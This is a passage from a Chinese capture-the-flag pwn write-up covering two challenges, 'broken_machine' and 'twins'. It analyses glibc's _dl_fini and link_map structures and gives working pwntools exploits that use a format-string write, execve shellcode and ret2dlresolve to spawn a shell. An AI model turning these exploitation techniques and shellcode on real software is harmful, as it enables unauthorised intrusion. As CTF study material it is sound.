191 | f 5 0x7f2e265ed520 __restore_rt 192 | f 6 0x4013d1 machine+95 193 | f 7 0x40150a main+227 194 | ``` 195 | 196 | 可以看到时`_dl_fini`中调用了函数指针,该函数调用部分源码如下 197 | 198 | ```c 199 | for (i = 0; i < nmaps; ++i) 200 | { 201 | struct link_map *l = maps[i]; 202 | 203 | if (l->l_init_called) 204 | { 205 | ...省略 206 | 207 | /* First see whether an array is given. */ 208 | if (l->l_info[DT_FINI_ARRAY] != NULL) 209 | { 210 | ElfW(Addr) *array = 211 | (ElfW(Addr) *) (l->l_addr 212 | + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); 213 | unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val 214 | / sizeof (ElfW(Addr))); 215 | while (i-- > 0) 216 | ((fini_t) array[i]) (); 217 | } 218 | ``` 219 | 220 | 可以看到我们要调用`((fini_t) array[i])()`,就得先弄清前面给array赋值和给i赋值的部分,因此来看`link_map`结构体 221 | 222 | ```c 223 | struct link_map 224 | { 225 | ElfW(Addr) l_addr; /* Difference between the address in the ELF 226 | file and the addresses in memory. */ 227 | char *l_name; /* Absolute file name object was found in. */ 228 | ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ 229 | struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ 230 | 231 | /* All following members are internal to the dynamic linker. 232 | They may change without notice. */ 233 | 234 | /* This is an element which is only ever different from a pointer to 235 | the very same copy of this type for ld.so when it is used in more 236 | than one namespace. */ 237 | struct link_map *l_real; 238 | ...... 239 | }; 240 | ``` 241 | 242 | 可以看到第一个成员就是`l_addr`,也就是我们修改的部分。然后调试查看`l->l_info[DT_FINI_ARRAY]->d_un.d_ptr`和`l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val`的值,其中`DT_FINI_ARRAY = 26` `DT_FINI_ARRAYSZ = 28`,而`d_un`为一个共用体,有两个成员`d_ptr和d_val`。 243 | 244 | ```c 245 | $5 = { 246 | l_addr = 16, 247 | l_name = 0x7fc3d13e2888 "", 248 | l_ld = 0x403d88, 249 | l_next = 0x7fc3d13e2890, 250 | ... 251 | l_info = {0x0, 0x403d88, 0x403e68, 0x403e58, 0x0, 0x403e08, 0x403e18, 0x403e98, 0x403ea8, 0x403eb8, 0x403e28, 0x403e38, 0x403d98, 0x403da8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403e78, 0x403e48, 0x0, 0x403e88, 0x403ed8, 0x403db8, 0x403dd8, 0x403dc8, 0x403de8, 0x0, 0x403ec8, 0x0, 0x0, 0x0, 0x0, 0x403ef8, 0x403ee8, 0x0, 0x0, 0x403ed8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x403f08, 0x0 , 0x403df8}, 252 | ... 253 | } 254 | ``` 255 | 256 | 因此`l->l_info[DT_FINI_ARRAY]->d_un.d_ptr`为`0x403d78`,`l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val`为`8`,最后调用位置为`0x403d90`所指向的地址`0x80`(其实做的时候直接对比下两次不同输入的暂停地址就行了,不需要分析这么多 257 | 258 | 因此我们可以通过格式化字符串修改偏移到bss段上buf位置,就可以控制指向任意位置,直接指向shellcode位置然后顺便在sprintf中触发异常信号处理绕过沙箱getshell。(在写shellcode的时候应该注意不要在shellcode中出现\0,因为sprintf会进行0截断,要赋值0直接异或就行了) 259 | 260 | exp: 261 | 262 | ```python 263 | #!/usr/bin/env python3 264 | from pwn import* 265 | context(arch='x86_64',log_level = 'debug') 266 | 267 | 268 | #io = remote('localhost',34657) 269 | io = process('./broken_machine') 270 | 271 | attach(io, 'b machine') 272 | pause() 273 | 274 | io.recvuntil(b'Hi there! I\'ve made a shellcode machine. Could you please input you code to test my machine? Thank you!\n') 275 | shellcode = ''' 276 | mov rax, 0xff978cd091969dd0 277 | xor rax, -1 278 | push rax 279 | mov rdi, rsp 280 | mov rsi, r12 281 | mov rdx, r12 282 | mov rax, r12 283 | mov al, 0x3b 284 | syscall 285 | ''' 286 | shellcode = asm(shellcode) 287 | io.sendline(b'%1188c%35$hn'+shellcode.ljust(0xf0, b'A')+b'%100000c'+p64(0x104a4)) 288 | 289 | io.interactive() 290 | ``` 291 | 292 | ## twins 293 | 294 | `checksec`看到只开了NX,程序是一个简单的栈溢出程序,除此之外还给出了一个py文件。 295 | 296 | 不考虑py文件的话直接ret2libc就可以解决,但那是不可能的 297 | 298 | 观察python文件种如下函数 299 | 300 | ```python 301 | while a1 and a2: 302 | line = sys.stdin.buffer.readline() 303 | out1, a1 = interact(p1, line) 304 | out2, a2 = interact(p2, line) 305 | if out1 != out2: 306 | print("Output conflict!", flush=True) 307 | print(f'process 1: {out1}', flush=True) 308 | print(f'process 2: {out2}', flush=True) 309 | break 310 | else: 311 | print(out1[:-1].decode(), flush=True) 312 | ``` 313 | 314 | 远程会同时运行p1,p2两个进程,上述函数表示程序的输出只能一致,否则直接结束,因此考虑到ret2libc必须要泄露libc,而两个程序的libc基址由于存在ASLR机制,因此不可能一致。所以我们可以把这个程序看作一个无输出的栈溢出程序,考虑ret2dlresolve,构造的时候发现工具构造打不通,所以网上随便找个模板然后改下某些值直接用(主要还是因为我是langou,不想自己写 315 | 316 | exp: 317 | 318 | ```python 319 | #!/usr/bin/env python3 320 | from pwn import* 321 | context.log_level = 'debug' 322 | context.arch = 'amd64' 323 | 324 | p = process('./twins') 325 | #p = remote("localhost",43677) 326 | elf = ELF('./twins') 327 | libc= ELF('./libc-2.31.so') 328 | 329 | #attach(p) 330 | #pause() 331 | 332 | def build_fake_link_map(elf,fake_linkmap_addr,one_got,offset): 333 | target_addr = fake_linkmap_addr-8 #the result you write in 334 | linkmap = p64(offset & (2**64-1)) #l_addr 335 | linkmap = linkmap.ljust(0x68,b'\x00') 336 | linkmap += p64(fake_linkmap_addr) #l_info[5] dynstr 337 | linkmap += p64(fake_linkmap_addr+0x100) #l_info[6] dynsym 338 | linkmap = linkmap.ljust(0xf8,b'\x00') 339 | linkmap += p64(fake_linkmap_addr+0x110) #l_info[23] jmprel 340 | linkmap += p64(0)+p64(one_got-8) #dynmic symtab 341 | linkmap += p64(0)+p64(fake_linkmap_addr+0x120) #dynmic jmprel 342 | linkmap += p64(target_addr-offset)+p64(7)+p64(0) #fake_jmprel 343 | return linkmap 344 | 345 | plt0 = elf.get_section_by_name('.plt').header.sh_addr 346 | fake_link_map_addr = 0x00404000 +0x500 347 | fake_link_map = build_fake_link_map(elf,fake_link_map_addr,elf.got['gets'],libc.sym['system']-libc.sym['gets']) 348 | sh_addr = fake_link_map_addr + len(fake_link_map) 349 | prdi = 0x401283 350 | prsi_r15 = 0x401281 351 | payload = 0x18*b'\x00'+p64(prdi)+p64(fake_link_map_addr)+p64(elf.plt['gets']) 352 | payload += p64(prdi) + p64(sh_addr) + p64(plt0+6)+p64(fake_link_map_addr)+p64(0) 353 | payload = payload.ljust(0x200,b'\x00') 354 | p.sendline(payload) 355 | 356 | payload = fake_link_map+b'cat flag\x00' 357 | p.sendline(payload) 358 | 359 | p.interactive() 360 | ``` 361 | 362 | --------------------------------------------------------------------------------